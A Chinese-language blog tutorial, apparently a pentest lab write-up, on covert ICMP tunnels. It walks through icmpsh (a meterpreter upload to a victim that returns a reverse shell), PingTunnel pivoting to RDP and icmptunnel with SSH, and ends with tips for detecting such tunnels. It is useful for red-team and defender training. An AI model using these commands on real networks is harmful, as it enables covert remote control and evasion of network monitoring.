ICMP隐藏通信隧道技术

@

简介

ICMP隧道简单实用,是一个比较特殊的协议.在一般的通信里,两台主机要进行通信必须开放端口.而ICMP协议就不需要.
最常见的ICMP协议就是ping命令的回复
常见的ICMP隧道工具有icmpsh,PingTunnel,icmptunnel,powershell icmp等

ICMP隧道搭建条件: 目标主机必须支持ICMP协议的进出
探测ICMP协议是否支持: 目标主机与攻击主机能够相互PING通即可

icmpsh

icmpsh工具使用简单,便于携带,运行时不需要管理员权限

利用icmpsh搭建隧道:

  1. 下载icmpsh
git clone https://github.com/inquisb/icmpsh.git
  1. 安装python-impacket库
apt-get install python-impacket
或
pip install impacket
  1. 关闭原来系统的ICMP应答
    因为icmpsh要代替系统本身的ping命令应答程序,所以输入以下命令关闭本地系统的ICMP应答
    (如要恢复应答,设置为0)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
  1. 运行run.sh
./run.sh # 会提示输入目标主机的IP地址 ,输入目标主机IP地址回车即可
或(上面的可能会出错)
./icmpsh_m.py 攻击机IP 受害机IP
  1. 把icmpsh.exe上传到目标主机
    meterpreter下:
upload /root/桌面/icmpsh/icmpsh.exe c:\\icmpsh.exe
(上传可能需要一定权限,可以不加路径,会上传到桌面 / 或者上传到其他有权限的地方)
upload /root/桌面/icmpsh/icmpsh.exe
  1. 目标主机上运行icmpsh.exe程序
    shell里面运行
icmpsh.exe -t 本地IP -d 500 -b 30 -s 128

搭建成功会返回一个shell
在这里插入图片描述

PingTunnel

PingTunnel可以跨平台使用.为了避免隧道被滥用,可以为隧道设置密码

(windows下要在内网Windows机器上安装wincap类库)

实验一

通过跳板机访问web服务

在这里插入图片描述
环境准备:

web服务器上开启web服务

python -m SimpleHTTPServer 8000
(python2)

在这里插入图片描述
隧道搭建:

  1. 分别在kali和跳板机上安装PingTunnel(root权限下)
#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison
 
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
 
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

其他可能的依赖安装

yum -y install gcc gcc-c++ kernel-devel //安装gcc、c++编译器以及内核文件
  1. 在跳板机上操作
ptunnel -x 123456     #-x 指定连接密码

在这里插入图片描述

  1. kali上操作
ptunnel -p 192.168.88.129 -lp 1080 -da 192.168.130.131 -dp 3389 -x 123456
    -p 指定ICMP隧道另一端的IP
    -lp:指定本地监听的端口
    -da:指定要转发的目标机器的IP
    -dp:指定要转发的目标机器的端口
    -x:指定连接密码

在这里插入图片描述
至此隧道搭建完成

访问本机1080端口(127.0.0.1:1080)

在这里插入图片描述

实验二

通过跳板机远程连接win7

在这里插入图片描述
隧道搭建同上

ptunnel -x 123456 # 跳板机

ptunnel -p 192.168.88.129 -lp 1080 -da 192.168.130.130 -dp 3389 -x 123456 # kali

使用远程连接工具krdc连接 127.0.0.1:1080

在这里插入图片描述

Icmptunnel

攻击机: Kali IP 192.168.88.128
靶机: Centos 7 IP 192.168.88.131

适用场景:目标机器是Linux服务器的情况

  1. icmptunnel的安装
    分别在服务端和客户端安装 icmptunnel,安装过程如下
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel/
make
  1. 服务端的操作(攻击机器):
sysctl -w net.ipv4.icmp_echo_ignore_all=1      #禁用icmp回复
./icmptunnel -s                                       #监听
重新打开一个命令行窗口
ifconfig tun0 10.0.0.1 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.1/24

在这里插入图片描述
在这里插入图片描述

  1. 客户端操作(对方机器):
sysctl -w net.ipv4.icmp_echo_ignore_all=1       #禁用icmp回复
./icmptunnel 192.168.88.128                          #连接服务端
重新打开一个命令行窗口
ifconfig tun0 10.0.0.2 netmask 255.255.255.0          #添加tun0网卡,分配隧道地址10.0.0.2/24

在这里插入图片描述
在这里插入图片描述
至此,ICMP隧道搭建完成

  • 隧道IP
    • kali: 10.0.0.1
    • Centos: 10.0.0.2

通过SSH连接Centos:

在这里插入图片描述

防御ICMP隧道攻击

分析ICMP数据包,检测恶意流量.具体方法如下:

  • 检测来自同一来源的ICMP数据包. 数量过多即不正常
  • 注意Payload大于64bit的数据包
  • 寻找相应数据包种的payload与请求数据包payload不一致的ICMP数据包
  • 检测ICMP数据包的协议标签,如:icmptunnel会在所有ICMP Payload前面添加"TUNL"来比哦及隧道

参考
https://blog.csdn.net/qq_36119192/article/details/100046761
内网安全攻防:渗透测试实战指南

posted @ 2020-08-04 19:53  10nnn4R  阅读(260)  评论(0编辑  收藏